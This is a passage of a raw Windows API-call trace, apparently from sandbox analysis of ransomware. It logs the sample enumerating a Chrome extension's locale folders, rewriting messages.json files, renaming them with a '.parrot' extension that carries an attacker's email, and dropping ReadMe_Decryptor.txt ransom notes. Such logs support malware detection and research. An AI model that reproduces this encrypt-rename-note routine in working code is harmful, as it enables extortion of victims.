[0059.716] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0360 [0059.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0059.716] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0059.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0360 | out: hHeap=0x5b0000) returned 1 [0059.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c7d8 | out: hHeap=0x5b0000) returned 1 [0059.717] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0059.717] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d97d0 [0059.717] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d98f8 [0059.717] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0059.717] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0059.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0059.717] GetFileType (hFile=0x288) returned 0x1 [0059.717] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0059.730] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0059.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69c7d8 [0059.730] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2456fc0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb2456fc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb247d120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0059.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0059.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0059.730] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0059.730] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2456fc0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb2456fc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb247d120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0059.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d97d0 | out: hHeap=0x5b0000) returned 1 [0059.730] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0059.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0059.730] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0059.730] lstrcmpW (lpString1="ru", lpString2=".") returned 1 [0059.730] lstrcmpW (lpString1="ru", lpString2="..") returned 1 [0059.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0059.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0059.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0059.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0059.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0059.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d95b8 [0059.730] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0061.232] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0061.232] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.330] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0061.330] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0061.330] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85add150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0061.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0061.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0061.337] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x228, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.337] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0061.337] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0061.338] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.342] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x110, lpOverlapped=0x0) returned 1 [0061.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0061.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0061.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0061.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0061.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0061.353] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0061.359] GetLastError () returned 0x0 [0061.613] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0061.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90f8 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x238) returned 0x5d02a8 [0061.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0061.614] WriteFile (in: hFile=0x284, lpBuffer=0x5d02a8*, nNumberOfBytesToWrite=0x238, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d02a8*, lpNumberOfBytesWritten=0x18da44*=0x238, lpOverlapped=0x0) returned 1 [0061.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d02a8 | out: hHeap=0x5b0000) returned 1 [0061.615] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x228, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.615] CloseHandle (hObject=0x284) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d90f8 [0061.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d02a8 [0061.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0061.616] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0061.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d02a8 | out: hHeap=0x5b0000) returned 1 [0061.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c960 | out: hHeap=0x5b0000) returned 1 [0061.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0061.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90f8 [0061.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d97d0 [0061.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0061.624] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0061.631] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0061.646] GetFileType (hFile=0x284) returned 0x1 [0061.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0061.819] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fb, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.819] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0061.819] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0061.820] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.820] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe3, lpOverlapped=0x0) returned 1 [0061.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0061.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0061.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0061.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0061.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0061.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0061.821] GetLastError () returned 0x0 [0061.822] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0061.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0061.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0061.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0061.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0061.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0061.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0061.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0061.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615228 [0061.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0061.823] WriteFile (in: hFile=0x284, lpBuffer=0x615228*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615228*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0061.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0061.823] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.823] CloseHandle (hObject=0x284) returned 1 [0061.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0248 [0061.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0380 [0061.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0061.824] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0061.825] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0380 | out: hHeap=0x5b0000) returned 1 [0061.825] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69cae8 | out: hHeap=0x5b0000) returned 1 [0061.825] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0061.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d97d0 [0061.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d98f8 [0061.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0061.825] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0061.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0062.019] GetFileType (hFile=0x288) returned 0x1 [0062.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.047] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f7, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.047] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.047] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.048] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.048] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdf, lpOverlapped=0x0) returned 1 [0062.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0062.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 